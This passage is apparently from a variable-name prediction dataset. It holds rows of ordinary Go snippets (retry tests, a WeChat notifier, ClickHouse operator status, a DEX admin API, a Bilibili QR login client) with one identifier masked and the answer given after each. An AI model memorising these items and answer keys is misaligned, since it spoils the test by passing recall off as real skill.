yet."") } return nil }) if loop != 3 { t.Errorf(""Expected loop to be 3; was %d"", loop) } if err != nil { t.Errorf(""Expected nil error; was %v"", err) } } func TestStopsRetryingWhenThresholdExceeded(t *testing.T) { repeater := &repeaterImpl{ initialRepeatTime: time.Millisecond, maxRepeatTime: time.Millisecond, linearGrowth: time.Duration(0), exponentialGrowth: 1.0, maxRetries: 5, } loop := 0 err := repeater.Repeat(func() error { loop += 1 return errors.New(""This fails forever."") }) if loop != 6 { t.Errorf(""Expected 6 loops, saw %d"", loop) } if err == nil { t.Errorf(""Expected an error; saw none"") } else if err.Error() != ""This fails forever."" { t.Errorf(""Error message was wrong: saw '%s'"", err.Error()) } } // TODO: test that repeater respects backoff logic ",tests 97,"package main import ( ""encoding/json"" ""fmt"" ""net/http"" ""github.com/gin-gonic/gin"" ""github.com/hguandl/dr-feeder/v2/common"" ""github.com/hguandl/dr-feeder/v2/notifier"" ""github.com/hguandl/dr-feeder/v2/notifier/wxmsgapp"" ""github.com/hguandl/rhodes-deliver/database"" ""github.com/lithammer/shortuuid"" ) func handleUnsubscribe(c *gin.Context) { subID := c.Param(""id"") var s []WxSubscriber database.DB.Find(&s, WxSubscriber{SubID: subID}) if len(s) == 0 { c.Status(http.StatusNotFound) return } database.DB.Delete(&s) c.Status(http.StatusOK) } func handleSubscribe(c *gin.Context) { var client wxmsgapp.WxAPIClient err := c.ShouldBindJSON(&client) if err != nil { c.Status(http.StatusBadRequest) return } var s []WxSubscriber database.DB.Find(&s, wxmsgapp.WxAPIClient{ AgentID: client.AgentID, ToUser: client.ToUser, CorpID: client.CorpID, CorpSecret: client.CorpSecret, }) if len(s) > 0 { c.Status(http.StatusConflict) return } subID := shortuuid.New() content := fmt.Sprintf(""欢迎使用罗德外卖。您的订阅ID为:%s"", subID) msg, err := json.Marshal( textMessage{ Touser: client.ToUser, Msgtype: ""text"", Agentid: client.AgentID, Text: struct { Content string ""json:\""content\"""" }{ Content: content, }, }, ) if err != nil { c.Status(http.StatusInternalServerError) return } err = client.SendMsg(msg) if err != nil { c.Status(http.StatusBadRequest) return } database.DB.Create(&WxSubscriber{ SubID: subID, Client: client, }) c.Status(http.StatusOK) } func handleFeed(c *gin.Context) { title := c.PostForm(""title"") body := c.PostForm(""body"") url := c.PostForm(""url"") picURL := c.PostForm(""picurl"") if title == """" || body == """" || url == """" { c.Status(http.StatusBadRequest) return } c.Status(http.StatusOK) [MASK] := common.NotifyPayload{ Title: title, Body: body, URL: url, PicURL: picURL, } var subscribers []WxSubscriber database.DB.Find(&subscribers) for _, s := range subscribers { client := s.Client go notifier.FromWxAPIClient(&client).Push( [MASK] ) } } ",payload 98,"// Copyright 2019 Altinity Ltd and/or its affiliates. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package v1 import ( ""sort"" ""github.com/altinity/clickhouse-operator/pkg/util"" ) // ChiStatus defines status section of ClickHouseInstallation resource type ChiStatus struct { CHOpVersion string `json:""chop-version,omitempty"" yaml:""chop-version,omitempty""` CHOpCommit string `json:""chop-commit,omitempty"" yaml:""chop-commit,omitempty""` CHOpDate string `json:""chop-date,omitempty"" yaml:""chop-date,omitempty""` CHOpIP string `json:""chop-ip,omitempty"" yaml:""chop-ip,omitempty""` ClustersCount int `json:""clusters,omitempty"" yaml:""clusters,omitempty""` ShardsCount int `json:""shards,omitempty"" yaml:""shards,omitempty""` ReplicasCount int `json:""replicas,omitempty"" yaml:""replicas,omitempty""` HostsCount int `json:""hosts,omitempty"" yaml:""hosts,omitempty""` Status string `json:""status,omitempty"" yaml:""status,omitempty""` TaskID string `json:""taskID,omitempty"" yaml:""taskID,omitempty""` TaskIDsStarted []string `json:""taskIDsStarted,omitempty"" yaml:""taskIDsStarted,omitempty""` TaskIDsCompleted []string `json:""taskIDsCompleted,omitempty"" yaml:""taskIDsCompleted,omitempty""` Action string `json:""action,omitempty"" yaml:""action,omitempty""` Actions []string `json:""actions,omitempty"" yaml:""actions,omitempty""` Error string `json:""error,omitempty"" yaml:""error,omitempty""` Errors []string `json:""errors,omitempty"" yaml:""errors,omitempty""` HostsUpdatedCount int `json:""hostsUpdated,omitempty"" yaml:""hostsUpdated,omitempty""` HostsAddedCount int `json:""hostsAdded,omitempty"" yaml:""hostsAdded,omitempty""` HostsCompletedCount int `json:""hostsCompleted,omitempty"" yaml:""hostsCompleted,omitempty""` HostsDeletedCount int `json:""hostsDeleted,omitempty"" yaml:""hostsDeleted,omitempty""` HostsDeleteCount int `json:""hostsDelete,omitempty"" yaml:""hostsDelete,omitempty""` Pods []string `json:""pods,omitempty"" yaml:""pods,omitempty""` PodIPs []string `json:""pod-ips,omitempty"" yaml:""pod-ips,omitempty""` FQDNs []string `json:""fqdns,omitempty"" yaml:""fqdns,omitempty""` Endpoint string `json:""endpoint,omitempty"" yaml:""endpoint,omitempty""` NormalizedCHI *ClickHouseInstallation `json:""normalized,omitempty"" yaml:""normalized,omitempty""` NormalizedCHICompleted *ClickHouseInstallation `json:""normalizedCompleted,omitempty"" yaml:""normalizedCompleted,omitempty""` } const ( maxActions = 10 maxErrors = 10 maxTaskIDs = 10 ) // PushAction pushes action into status func (s *ChiStatus) PushAction(action string) { if s == nil { return } s.Actions = append([]string{action}, s.Actions...) s.TrimActions() } // TrimActions trims actions func (s *ChiStatus) TrimActions() { if s == nil { return } if len(s.Actions) > maxActions { s.Actions = s.Actions[:maxActions] } } // PushError sets and pushes error into status func (s *ChiStatus) PushError(error string) { if s == nil { return } s.Errors = append([]string{error}, s.Errors...) if len(s.Errors) > maxErrors { s.Errors = s.Errors[:maxErrors] } } // SetAndPushError sets and pushes error into status func (s *ChiStatus) SetAndPushError(error string) { if s == nil { return } s.Error = error s.Errors = append([]string{error}, s.Errors...) if len(s.Errors) > maxErrors { s.Errors = s.Errors[:maxErrors] } } // PushTaskIDStarted pushes task id into status func (s *ChiStatus) PushTaskIDStarted() { if s == nil { return } s.TaskIDsStarted = append([]string{s.TaskID}, s.TaskIDsStarted...) if len(s.TaskIDsStarted) > maxTaskIDs { s.TaskIDsStarted = s.TaskIDsStarted[:maxTaskIDs] } } // PushTaskIDCompleted pushes task id into status func (s *ChiStatus) PushTaskIDCompleted() { if s == nil { return } s.TaskIDsCompleted = append([]string{s.TaskID}, s.TaskIDsCompleted...) if len(s.TaskIDsCompleted) > maxTaskIDs { s.TaskIDsCompleted = s.TaskIDsCompleted[:maxTaskIDs] } } // ReconcileStart marks reconcile start func (s *ChiStatus) ReconcileStart(DeleteHostsCount int) { if s == nil { return } s.Status = StatusInProgress s.HostsUpdatedCount = 0 s.HostsAddedCount = 0 s.HostsCompletedCount = 0 s.HostsDeletedCount = 0 s.HostsDeleteCount = DeleteHostsCount s.PushTaskIDStarted() } // ReconcileComplete marks reconcile completion func (s *ChiStatus) ReconcileComplete() { if s == nil { return } s.Status = StatusCompleted s.Action = """" s.PushTaskIDCompleted() } // DeleteStart marks deletion start func (s *ChiStatus) DeleteStart() { if s == nil { return } s.Status = StatusTerminating s.HostsUpdatedCount = 0 s.HostsAddedCount = 0 s.HostsCompletedCount = 0 s.HostsDeletedCount = 0 s.HostsDeleteCount = 0 s.PushTaskIDStarted() } // CopyCHIStatusOptions specifies what to copy in CHI status options type CopyCHIStatusOptions struct { Actions bool Errors bool Normalized bool MainFields bool WholeStatus bool } // MergeActions merges actions func (s *ChiStatus) MergeActions(from *ChiStatus) { if s == nil { return } if from == nil { return } s.Actions = util.MergeStringArrays(s.Actions, from.Actions) sort.Sort(sort.Reverse(sort.StringSlice(s.Actions))) s.TrimActions() } // CopyFrom copies func (s *ChiStatus) CopyFrom(from *ChiStatus, [MASK] CopyCHIStatusOptions) { if s == nil { return } if from == nil { return } if [MASK] .Actions { s.Action = from.Action s.MergeActions(from) } if [MASK] .Errors { s.Error = from.Error s.Errors = util.MergeStringArrays(s.Errors, from.Errors) sort.Sort(sort.Reverse(sort.StringSlice(s.Errors))) } if [MASK] .MainFields { s.CHOpVersion = from.CHOpVersion s.CHOpCommit = from.CHOpCommit s.CHOpDate = from.CHOpDate s.CHOpIP = from.CHOpIP s.ClustersCount = from.ClustersCount s.ShardsCount = from.ShardsCount s.ReplicasCount = from.ReplicasCount s.HostsCount = from.HostsCount s.Status = from.Status s.TaskID = from.TaskID s.TaskIDsStarted = from.TaskIDsStarted s.TaskIDsCompleted = from.TaskIDsCompleted s.Action = from.Action s.MergeActions(from) s.Error = from.Error s.Errors = from.Errors s.HostsUpdatedCount = from.HostsUpdatedCount s.HostsAddedCount = from.HostsAddedCount s.HostsCompletedCount = from.HostsCompletedCount s.HostsDeletedCount = from.HostsDeletedCount s.HostsDeleteCount = from.HostsDeleteCount s.Pods = from.Pods s.PodIPs = from.PodIPs s.FQDNs = from.FQDNs s.Endpoint = from.Endpoint s.NormalizedCHI = from.NormalizedCHI } if [MASK] .Normalized { s.NormalizedCHI = from.NormalizedCHI } if [MASK] .WholeStatus { s.CHOpVersion = from.CHOpVersion s.CHOpCommit = from.CHOpCommit s.CHOpDate = from.CHOpDate s.CHOpIP = from.CHOpIP s.ClustersCount = from.ClustersCount s.ShardsCount = from.ShardsCount s.ReplicasCount = from.ReplicasCount s.HostsCount = from.HostsCount s.Status = from.Status s.TaskID = from.TaskID s.TaskIDsStarted = from.TaskIDsStarted s.TaskIDsCompleted = from.TaskIDsCompleted s.Action = from.Action s.MergeActions(from) s.Error = from.Error s.Errors = from.Errors s.HostsUpdatedCount = from.HostsUpdatedCount s.HostsAddedCount = from.HostsAddedCount s.HostsCompletedCount = from.HostsCompletedCount s.HostsDeletedCount = from.HostsDeletedCount s.HostsDeleteCount = from.HostsDeleteCount s.Pods = from.Pods s.PodIPs = from.PodIPs s.FQDNs = from.FQDNs s.Endpoint = from.Endpoint s.NormalizedCHI = from.NormalizedCHI s.NormalizedCHICompleted = from.NormalizedCHICompleted } } // GetFQDNs is a getter func (s *ChiStatus) GetFQDNs() []string { if s == nil { return nil } return s.FQDNs } // GetCHOpIP is a getter func (s *ChiStatus) GetCHOpIP() string { if s == nil { return """" } return s.CHOpIP } // GetNormalizedCHICompleted is a getter func (s *ChiStatus) GetNormalizedCHICompleted() *ClickHouseInstallation { if s == nil { return nil } return s.NormalizedCHICompleted } // GetNormalizedCHI is a getter func (s *ChiStatus) GetNormalizedCHI() *ClickHouseInstallation { if s == nil { return nil } return s.NormalizedCHI } // GetStatus is a getter func (s *ChiStatus) GetStatus() string { if s == nil { return """" } return s.Status } // GetPods is a getter func (s *ChiStatus) GetPods() []string { if s == nil { return nil } return s.Pods } // GetPodIPS is a getter func (s *ChiStatus) GetPodIPS() []string { if s == nil { return nil } return s.PodIPs } // UpdateHost updates updated hosts counter func (s *ChiStatus) UpdateHost() { if s == nil { return } s.HostsUpdatedCount++ s.HostsCompletedCount++ } // AddHost updates added hosts counter func (s *ChiStatus) AddHost() { if s == nil { return } s.HostsAddedCount++ s.HostsCompletedCount++ } ",opts 99,"package adminapi import ( ""fmt"" ""github.com/HydroProtocol/hydro-scaffold-dex/backend/models"" ""github.com/HydroProtocol/hydro-sdk-backend/common"" ""github.com/HydroProtocol/hydro-sdk-backend/utils"" ""github.com/labstack/echo"" ""github.com/shopspring/decimal"" ""math/big"" ""net/http"" ""os"" ""time"" ) func RestartEngineHandler(e echo.Context) (err error) { [MASK] := common.Event{ Type: common.EventRestartEngine, } err = queueService.Push([]byte(utils.ToJsonString( [MASK] ))) return response(e, nil, err) } func GetStatusHandler(e echo.Context) (err error) { return response(e, map[string]interface{}{ ""web"": healthCheckService.CheckWeb(), ""api"": healthCheckService.CheckApi(), ""engine"": healthCheckService.CheckEngine(), ""watcher"": healthCheckService.CheckWatcher(), ""launcher"": healthCheckService.CheckLauncher(), ""websocket"": healthCheckService.CheckWebSocket(), }, err) } func GetBalancesHandler(e echo.Context) (err error) { var req struct { Address string `json:""address"" query:""address"" validate:""required""` Limit int `json:""limit""` Offset int `json:""offset""` } var resp []struct { Symbol string `json:""symbol""` LockedBalance decimal.Decimal `json:""lockedBalance""` } err = e.Bind(&req) if err == nil { tokens := models.TokenDao.GetAllTokens() for _, token := range tokens { lockedBalance := models.BalanceDao.GetByAccountAndSymbol(req.Address, token.Symbol, token.Decimals) resp = append(resp, struct { Symbol string `json:""symbol""` LockedBalance decimal.Decimal `json:""lockedBalance""` }{ Symbol: token.Symbol, LockedBalance: lockedBalance, }, ) } rLen := len(resp) if req.Offset < rLen { if req.Offset+req.Limit < rLen { resp = resp[req.Offset : req.Offset+req.Limit] } else { resp = resp[req.Offset:] } } } return response(e, map[string]interface{}{""balances"": resp}, err) } func GetTradesHandler(e echo.Context) (err error) { var req struct { Address string `json:""address"" query:""address"" validate:""required""` MarketID string `json:""market_id"" query:""market_id"" validate:""required""` Status string `json:""status"" query:""status""` Offset int `json:""offset"" query:""offset""` Limit int `json:""limit "" query:""limit""` } var trades []*models.Trade var count int64 err = e.Bind(&req) if err == nil { count, trades = models.TradeDao.FindAccountMarketTrades(req.Address, req.MarketID, req.Status, req.Offset, req.Limit) } return response(e, map[string]interface{}{""count"": count, ""trades"": trades}, err) } func GetOrdersHandler(e echo.Context) (err error) { var req struct { Address string `json:""address"" query:""address"" validate:""required""` MarketID string `json:""market_id"" query:""market_id"" validate:""required""` Status string `json:""status"" query:""status""` Offset int `json:""offset"" query:""offset""` Limit int `json:""limit "" query:""limit""` } var orders []*models.Order var count int64 err = e.Bind(&req) if err == nil { count, orders = models.OrderDao.FindByAccount(req.Address, req.MarketID, req.Status, req.Offset, req.Limit) } return response(e, map[string]interface{}{""count"": count, ""orders"": orders}, err) } func DeleteOrderHandler(e echo.Context) (err error) { orderID := e.Param(""order_id"") if orderID == """" { err = fmt.Errorf(""orderID is blank, check param"") } else { order := models.OrderDao.FindByID(orderID) if order == nil { err = fmt.Errorf(""cannot find order by ID %s"", orderID) } else { cancelOrderEvent := common.CancelOrderEvent{ Event: common.Event{ Type: common.EventCancelOrder, MarketID: order.MarketID, }, Price: order.Price.String(), Side: order.Side, ID: order.ID, } err = queueService.Push([]byte(utils.ToJsonString(cancelOrderEvent))) } } return response(e, nil, err) } func ListMarketsHandler(e echo.Context) (err error) { markets := models.MarketDao.FindAllMarkets() return response(e, markets, err) } func EditMarketHandler(e echo.Context) (err error) { var fields marketFields err = e.Bind(&fields) if err != nil { return response(e, nil, err) } dbMarket := models.MarketDao.FindMarketByID(fields.ID) if dbMarket == nil { err = fmt.Errorf(""cannot find market by ID %s"", fields.ID) return response(e, nil, err) } var publishType string if dbMarket.IsPublished == false && fields.IsPublished == ""true"" { publishType = ""publish"" } else if dbMarket.IsPublished == true && fields.IsPublished == ""false"" { publishType = ""unPublish"" } if len(fields.MinOrderSize) > 0 { dbMarket.MinOrderSize = utils.StringToDecimal(fields.MinOrderSize) } if len(fields.PricePrecision) > 0 { dbMarket.PricePrecision = utils.ParseInt(fields.PricePrecision, 0) } if len(fields.PriceDecimals) > 0 { dbMarket.PriceDecimals = utils.ParseInt(fields.PriceDecimals, 0) } if len(fields.AmountDecimals) > 0 { dbMarket.AmountDecimals = utils.ParseInt(fields.AmountDecimals, 0) } if len(fields.MakerFeeRate) > 0 { dbMarket.MakerFeeRate = utils.StringToDecimal(fields.MakerFeeRate) } if len(fields.TakerFeeRate) > 0 { dbMarket.TakerFeeRate = utils.StringToDecimal(fields.TakerFeeRate) } if len(fields.GasUsedEstimation) > 0 { dbMarket.GasUsedEstimation = utils.ParseInt(fields.GasUsedEstimation, 0) } if fields.IsPublished == ""true"" { dbMarket.IsPublished = true } else if fields.IsPublished == ""false"" { dbMarket.IsPublished = false } err = models.MarketDao.UpdateMarket(dbMarket) if err == nil { if publishType == ""publish"" { event := common.Event{ Type: common.EventOpenMarket, MarketID: dbMarket.ID, } err = approveMarket(dbMarket) if err == nil { err = queueService.Push([]byte(utils.ToJsonString(event))) } } else if publishType == ""unPublish"" { event := common.CancelOrderEvent{ Event: common.Event{ Type: common.EventCloseMarket, MarketID: dbMarket.ID, }, } err = queueService.Push([]byte(utils.ToJsonString(event))) } } return response(e, nil, err) } func ApproveMarketHandler(e echo.Context) (err error) { marketID := e.QueryParam(""marketID"") dbMarket := models.MarketDao.FindMarketByID(marketID) if dbMarket == nil { err = fmt.Errorf(""cannot find market by ID %s"", marketID) return response(e, nil, err) } return response(e, nil, approveMarket(dbMarket)) } func CreateMarketHandler(e echo.Context) (err error) { var market models.Market err = e.Bind(&market) if err != nil { utils.Debugf(""bind param error: %v, params:%v"", err, e.Request().Body) return response(e, nil, err) } err = models.MarketDao.InsertMarket(&market) return response(e, nil, err) } func approveMarket(market *models.Market) (err error) { err, quoteTokenAllowance := erc20Service.AllowanceOf(market.QuoteTokenAddress, os.Getenv(""HSK_PROXY_ADDRESS""), os.Getenv(""HSK_RELAYER_ADDRESS"")) if err != nil { return } if quoteTokenAllowance.Cmp(big.NewInt(0)) <= 0 { err = approveToken(market.QuoteTokenAddress) if err != nil { return } } err, baseTokenAllowance := erc20Service.AllowanceOf(market.BaseTokenAddress, os.Getenv(""HSK_PROXY_ADDRESS""), os.Getenv(""HSK_RELAYER_ADDRESS"")) if err != nil { return } if baseTokenAllowance.Cmp(big.NewInt(0)) <= 0 { err = approveToken(market.BaseTokenAddress) if err != nil { return } } return } func approveToken(tokenAddress string) error { proxyAddress := os.Getenv(""HSK_PROXY_ADDRESS"") if len(proxyAddress) != 42 { return fmt.Errorf(""HSK_PROXY_ADDRESS empty"") } proxyAddress = proxyAddress[2:] approveLog := models.LaunchLog{ ItemType: ""hydroApprove"", Status: ""created"", From: os.Getenv(""HSK_RELAYER_ADDRESS""), To: tokenAddress, Value: decimal.Zero, GasLimit: int64(200000), Data: fmt.Sprintf(""0x095ea7b3000000000000000000000000%sf000000000000000000000000000000000000000000000000000000000000000"", proxyAddress), CreatedAt: time.Now().UTC(), UpdatedAt: time.Now().UTC(), } return models.LaunchLogDao.InsertLaunchLog(&approveLog) } func response(e echo.Context, data interface{}, err error) error { ret := map[string]interface{}{} if err == nil { ret[""status""] = 0 ret[""desc""] = ""success"" ret[""data""] = data } else { ret[""status""] = -1 ret[""desc""] = err.Error() } return e.JSONPretty(http.StatusOK, ret, "" "") } type marketFields struct { ID string `json:""market_id""` MinOrderSize string `json:""min_order_size""` PricePrecision string `json:""price_precision""` PriceDecimals string `json:""price_decimals""` AmountDecimals string `json:""amount_decimals""` MakerFeeRate string `json:""maker_fee_rate""` TakerFeeRate string `json:""taker_fee_rate""` GasUsedEstimation string `json:""gas_used_estimation""` IsPublished string `json:""is_published""` } ",restartEngineEvent 100,"/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package create implements the `list` command package list import ( ""errors"" ""github.com/spf13/cobra"" ""sigs.k8s.io/kind/pkg/cmd"" listcluster ""sigs.k8s.io/kind/pkg/cmd/kind/list/cluster"" ""sigs.k8s.io/kind/pkg/log"" ) // NewCommand returns a new cobra.Command for list docker images func NewCommand(logger log.Logger, [MASK] cmd.IOStreams) *cobra.Command { cmd := &cobra.Command{ Args: cobra.NoArgs, Use: ""list"", Short: ""List all installed docker images"", Long: ""List all installed docker images"", RunE: func(cmd *cobra.Command, args []string) error { err := cmd.Help() if err != nil { return err } return errors.New(""Subcommand is required"") }, } cmd.AddCommand(listcluster.NewCommand(logger, [MASK] )) return cmd } ",streams 101,"package haction import ( ""log"" ""time"" ""github.com/hqpko/hchannel"" ) var defUnknownProtocolHandler = func(pid int32) { log.Printf(""unknown protocol id: %d"", pid) } type Channel struct { engine *Engine mainChannel *hchannel.Channel handlerUnknownProtocol func(pid int32) } func NewChannel() *Channel { return NewChannelWithOption(1<<10, 1, 0) } func NewChannelWithOption(channelSize, goroutineCount int, [MASK] time.Duration) *Channel { c := &Channel{engine: NewEngine(), handlerUnknownProtocol: defUnknownProtocolHandler} c.mainChannel = hchannel.NewChannelMulti(channelSize, goroutineCount, [MASK] , c.doAction) return c } func (c *Channel) SetUnknownProtocolHandler(handler func(pid int32)) *Channel { c.handlerUnknownProtocol = handler return c } func (c *Channel) Start() *Channel { c.mainChannel.Run() return c } func (c *Channel) Root() IGroup { return c.engine } func (c *Channel) Input(pid int32, values Values) bool { return c.mainChannel.Input(c.engine.newContext(pid, values)) } func (c *Channel) ResetTimer(d time.Duration) { c.mainChannel.Reset(d) } func (c *Channel) doAction(i interface{}) { ctx, ok := i.(*Context) if !ok { return } if ctx.handlers == nil { c.handlerUnknownProtocol(ctx.id) } else { ctx.do() } ctx.reset() poolContext.Put(ctx) } func (c *Channel) Stop() { c.mainChannel.Close() c.engine.clean() c.engine = nil c.mainChannel = nil c.handlerUnknownProtocol = nil } ",timerDuration 102,"package bili import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""net/url"" ) const get_login_url = ""https://passport.bilibili.com/qrcode/getLoginUrl"" const get_login_info = ""https://passport.bilibili.com/qrcode/getLoginInfo"" // Get Login Url 获取二维码的 地址 func GetLoginUrl() LoginUrlModel { resp, err := http.Get(get_login_url) if err != nil { fmt.Println(""get Login Url :"", err) } bodyRep, err := ioutil.ReadAll(resp.Body) defer resp.Body.Close() //fmt.Println(string(bodyRep)) var baseApi BiliApiBaseModel err = json.Unmarshal(bodyRep, &baseApi) if err != nil { fmt.Println(""Unmarshal failed :"", err) } //log.Println(baseApi.Data.OauthKey) return baseApi.Data } // Get Login Info 官方网站是三秒一个循环 func GetLoginInfo(oauthKey string) ([]byte, http.Header) { [MASK] := make(url.Values) [MASK] [""oauthKey""] = []string{oauthKey} [MASK] [""gourl""] = []string{""https://www.bilibili.com/""} resp, err := http.PostForm(get_login_info, [MASK] ) if err != nil { fmt.Println(""getLoginInfo"", err) } headerRep := resp.Header.Clone() bodyRep, err := ioutil.ReadAll(resp.Body) defer resp.Body.Close() return bodyRep, headerRep } ",data 103,"package cmd import ( ""github.com/michaelquigley/pfxlog"" ""github.com/openziti/foundation/util/debugz"" ""github.com/osrg/gobgp/v3/pkg/log"" ""github.com/sirupsen/logrus"" ""github.com/spf13/cobra"" ) var ( logger = pfxlog.Logger() rootCmd = &cobra.Command{ Use: ""iptables-bgp-scraper"", Long: ""an app that scrapes iptables rules for Ziti Services under NF-INTERCEPTS Chain, then utilizes gobgp server to advertize scraped prefixes to bgp neighbors."", Run: zlogs, } ) // Execute executes the root command. func Execute() error { return rootCmd.Execute() } func init() { [MASK] := pfxlog.DefaultOptions().SetTrimPrefix(""github.com/netfoundry/ziti-bgp"").SetAbsoluteTime().Color() [MASK] .DataFielder = func(v interface{}, l *logrus.Entry) *logrus.Entry { cd, ok := v.(*contextLogData) if ok { return l.WithFields(map[string]interface{}{ ""topic"": cd.topic, ""value"": cd.value, }) } else { return l.WithFields(nil) } } pfxlog.GlobalInit(logrus.InfoLevel, [MASK] ) debugz.AddStackDumpHandler() rootCmd.PersistentFlags().StringP(""log-level"", ""l"", ""Info"", ""specifying log level"") } func zlogs(cmd *cobra.Command, args []string) { LogLevel, _ := cmd.Flags().GetString(""log-level"") switch LogLevel { case ""debug"": logrus.SetLevel(logrus.DebugLevel) case ""info"": logrus.SetLevel(logrus.InfoLevel) default: logrus.SetLevel(logrus.InfoLevel) } } type zLogger struct { logger *pfxlog.Builder } func (l *zLogger) Panic(msg string, fields log.Fields) { l.logger.WithFields(logrus.Fields(fields)).Panic(msg) } func (l *zLogger) Fatal(msg string, fields log.Fields) { l.logger.WithFields(logrus.Fields(fields)).Fatal(msg) } func (l *zLogger) Error(msg string, fields log.Fields) { l.logger.WithFields(logrus.Fields(fields)).Error(msg) } func (l *zLogger) Warn(msg string, fields log.Fields) { l.logger.WithFields(logrus.Fields(fields)).Warn(msg) } func (l *zLogger) Info(msg string, fields log.Fields) { l.logger.WithFields(logrus.Fields(fields)).Info(msg) } func (l *zLogger) Debug(msg string, fields log.Fields) { l.logger.WithFields(logrus.Fields(fields)).Debug(msg) } func (l *zLogger) SetLevel(level log.LogLevel) { logrus.SetLevel(logrus.Level(level)) } func (l *zLogger) GetLevel() log.LogLevel { return log.LogLevel(l.logger.Level) } ",options 104,"package gokvo import ""errors"" // Observer unified registration notification data type type Observer interface { } var ( // ErrInvalidEvent will be returned when invokers don't Registration issue ErrInvalidEvent = errors.New(""invalid event"") // ErrInvalidPool will be returned when invokers don't Initialize the observer pool ErrInvalidPool = errors.New(""invalid oberPool"") // ErrInvalidSubscriber will be returned when have not sub ErrInvalidSubscriber = errors.New(""invalid Subscriber"") ) // DefaultNotificationCenter is the default center used by Serve. // Singleton pattern var DefaultNotificationCenter = &defaultNotificationCenter var defaultNotificationCenter NotificationCenter // AddObserver Binding keys and notifications func AddObserver(ober Observer, name EventName, [MASK] NotifiAction) { DefaultNotificationCenter.addObserver(ober, name, [MASK] ) } // Post Send a notification to deliver a message func Post(name EventName, info interface{}) error { return DefaultNotificationCenter.post(name, info) } // RemoveObserver Remove object from observation pool func RemoveObserver(ober Observer, name EventName) { DefaultNotificationCenter.removeObserver(ober, name) } ",action 105,"package helpers import ( ""log"" ""os/exec"" s ""strings"" ""github.com/siebenmann/go-kstat"" ) func ReadUint(stats *kstat.KStat, name string) uint64 { val, err := stats.GetNamed(name) if err != nil { log.Fatal(""Cannot read "", name, "" from stats: "", err) return 0 } return val.UintVal } func ReadInt(stats *kstat.KStat, name string) int64 { val, err := stats.GetNamed(name) if err != nil { log.Fatal(""Cannot read "", name, "" from stats: "", err) return 0 } return val.IntVal } func ReadString(stats *kstat.KStat, name string) string { val, err := stats.GetNamed(name) if err != nil { log.Fatal(""Cannot read "", name, "" from stats: "", err) return """" } return val.StringVal } func match(stat *kstat.KStat, module string, instance int, name string) bool { return (module == """" || stat.Module == module) && (instance == -1 || stat.Instance == instance) && (name == """" || stat.Name == name) } func FilterStats(stats []*kstat.KStat, module string, instance int, name string) (filtered []*kstat.KStat) { for _, stat := range stats { if match(stat, module, instance, name) { filtered = append(filtered, stat) } } return } func FindStat(stats []*kstat.KStat, module string, instance int, name string) *kstat.KStat { for _, stat := range stats { if match(stat, module, instance, name) { return stat } } return nil } func SumUint(stats []*kstat.KStat, module string, instance int, name string, val_name string) (val uint64) { for _, stat := range stats { if match(stat, module, instance, name) { val += ReadUint(stat, val_name) } } return } func SumInt(stats []*kstat.KStat, module string, instance int, name string, val_name string) (val int64) { for _, stat := range stats { if match(stat, module, instance, name) { val += ReadInt(stat, val_name) } } return } func GetZones() ([]string, error) { [MASK] , err := exec.Command(""zoneadm"", ""list"").Output() if err != nil { return nil, err } return s.Split(s.Trim(string( [MASK] ), ""\n""), ""\n""), nil } ",out 106,"package cmd import ( ""github.com/spf13/cobra"" ""github.com/troyxmccall/hermes/core"" ""path/filepath"" ) // bundleCmd represents the bundle command var bundleCmd = &cobra.Command{ Use: ""bundle"", Short: ""Bundle yaml and referenced resources into a single executable (experimental)"", Long: `Bundle yaml and referenced resources into a single executable (experimental)`, Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { userYamlPath := args[0] [MASK] := filepath.Base(userYamlPath[0:len(userYamlPath)-len(filepath.Ext(userYamlPath))]) + "".hermes"" core.Bundle(userYamlPath, [MASK] ) }, } func init() { rootCmd.AddCommand(bundleCmd) // Here you will define your flags and configuration settings. // Cobra supports Persistent Flags which will work for this command // and all subcommands, e.g.: // bundleCmd.PersistentFlags().String(""foo"", """", ""A help for foo"") // Cobra supports local flags which will only run when this command // is called directly, e.g.: // bundleCmd.Flags().BoolP(""toggle"", ""t"", false, ""Help message for toggle"") } ",bundlePath 107,"package api import ( ""log"" ""net/http"" ""github.com/gorilla/mux"" ""github.com/rs/cors"" ""github.com/zerefwayne/college-portal-backend/auth"" ""github.com/zerefwayne/college-portal-backend/config"" course_http ""github.com/zerefwayne/college-portal-backend/course/http"" resource_http ""github.com/zerefwayne/college-portal-backend/resource/http"" ""github.com/zerefwayne/college-portal-backend/user"" ""github.com/zerefwayne/college-portal-backend/utils"" ) // NewRouter defines a mux router and attaches all the routes from various packages. // Returns a fully configured mux router. func NewRouter() *mux.Router { router := mux.NewRouter() // Makes it compulsory to NOT include a slash after a route URL. router.StrictSlash(true) // Calls the Logger middleware for every route. router.Use(utils.Logger) // Attach routes from packages user.SetUserHandlers(router.PathPrefix(""/api/user"").Subrouter()) resource_http.SetResourceHandlers(router.PathPrefix(""/api/resource"").Subrouter()) auth.SetAuthHandlers(router.PathPrefix(""/api/auth"").Subrouter()) course_http.SetCourseHandlers(router.PathPrefix(""/api/course"").Subrouter()) return router } // CORSHandler creates a new mux router and allows CORS from all sources func CORSHandler() http.Handler { // router is a fully configured mux Router router := NewRouter() // attaches AllowAll course policies to router corsHandler := cors.AllowAll().Handler(router) return corsHandler } // getPort generates a port from environment variables. func getPort() string { // Env variable PORT overrides the normal APIPort if available if config.C.Env.APIEnv.Port != """" { return "":"" + config.C.Env.APIEnv.Port } port := config.C.Env.APIEnv.APIPort return "":"" + port } // Serve starts the REST API on the port func Serve() { [MASK] := CORSHandler() log.Printf(""api | listening on port %s\n"", getPort()) log.Fatalln(http.ListenAndServe(getPort(), [MASK] )) } ",handler 108,"package main import ( ""fmt"" ""os"" 